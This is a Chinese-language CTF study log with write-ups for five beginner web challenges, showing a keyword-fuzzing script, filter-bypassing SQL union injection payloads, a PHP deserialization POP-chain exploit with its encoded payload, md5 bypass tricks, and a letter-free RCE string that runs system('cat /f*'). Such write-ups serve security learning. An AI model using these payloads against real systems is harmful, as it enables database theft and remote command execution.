刷题学习记录

[SWPUCTF 2021 新生赛]sql

进入环境

 查看源码，发现是get传参且参数为wllm

 fuzz测试，发现空格，=，and被过滤了

同样的也可以用python脚本进行fuzz测试

import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:
    res = requests.get('http://node4.anna.nssctf.cn:28876/?wllm={}'.format(i))
    if '请勿非法操作'  in res.text:
        print(i)

 结果也是一样的

既然空格被过滤那就用/**/代替空格，用联合注入进行注入

爆字段

-1'/**/order/**/by/**/4%23(用%23代替#,因为在注入时发现#也没法注入)

爆数据库

-1'/**/union/**/select/**/1,database(),3%23

 爆表

-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa
tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

 查询列

-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform
ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23

查询内容

-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_
flag%23

 发现flag只有一段，没有全部显示出来，使用截断函数进行绕过，substr，right，REVERSE 被过滤（测试出来的），只能用mid，mid截取，因为回显只能有20个，所以20，一组一组截取

-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes
t_db.LTLT_flag%23

-1%27union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23

最后得到flag

NSSCTF{90c72eb0-e4977-4730-a192-42f3d662c85f}

 [SWPUCTF 2021 新生赛]pop

进入环境得到的是一大串php代码，看到最后的函数发现是反序列化

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

查找入口

# 传参$w00m,直接反序列化，入口就在__destruct，或者_wakeup，这里的w22m符合条件 class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } }

 找链子

# echo一个对象，调用__toString方法，然后调用内部w00m的方法，由此可得链子如下
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()

 构造exp：

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

 找php在线运行工具

得到反序列化代码，但是经过url编码

O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

 传参得到flag

 [BJDCTF 2020]easy_md5

进入环境一开始以为是sql注入，不停在测试sql注入，但是页面都没有什么反应

 用bp抓包试一下

 不难发现在 Response 包中的 Header 中存在
Hint 为：hint: select * from 'admin' where password=md5($pass,true)
我们尝试进行绕过，传入 password=
ffifdyop；即可绕过！原理如下：

 跳转到新页面

 查看源码发现题目代码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    header('Location: levell14.php');
-->

 这里要使a，b的md5的值相等才会回显，这里选择用数组绕过md5

 出现新的页面

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

这里依然选择用数组绕过md5，这里的传参方式为post，最后得到flag

 [SWPUCTF 2021 新生赛]hardrce（无字母数字绕过正则表达式总结（含上传临时文件、异或、或、取反、自增脚本）_$code=$_get['code']; eval($code);-CSDN博客）

题目提示直接就是无数字RCE和无字母RCE，上源码

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦！");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦！");
}
echo "NoVic4说：不错哦小伙子，可你能拿到flag吗？";
eval($wllm);
}
else
{
    echo "蔡总说：注意审题！！！";
}
?> 

 分析源码，可以知道所有字母字符和某些特殊字符被过滤；但源码中可以使用GET方式以wllm为参传值，且源码里面含有eval函数可以执行命令；结合上面要求，可以使用url取反方式进行绕过，不用异或和或运算是因为^和`被过滤了。
使用脚本将system和ls /进行url编码取反

ls=~%93%8C

system=~%8C%86%8C%8B%9A%92

cat /f*=~%9C%9E%8B%DF%D0%99%D5

?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);

 不知道为什么system(ls)不能回显，但是system(cat /f*)却能回显出flag

 [HUBUCTF 2022 新生赛]checkin

进入环境一看到后面的函数就知道是反序列化

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>

 构造exp：

<?php
$info = array(
	'username'=>true,
	'password'=>true
);
$serialized_data = serialize($info);
echo  $serialized_data ;
?>

 

 

得到反序列化代码

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}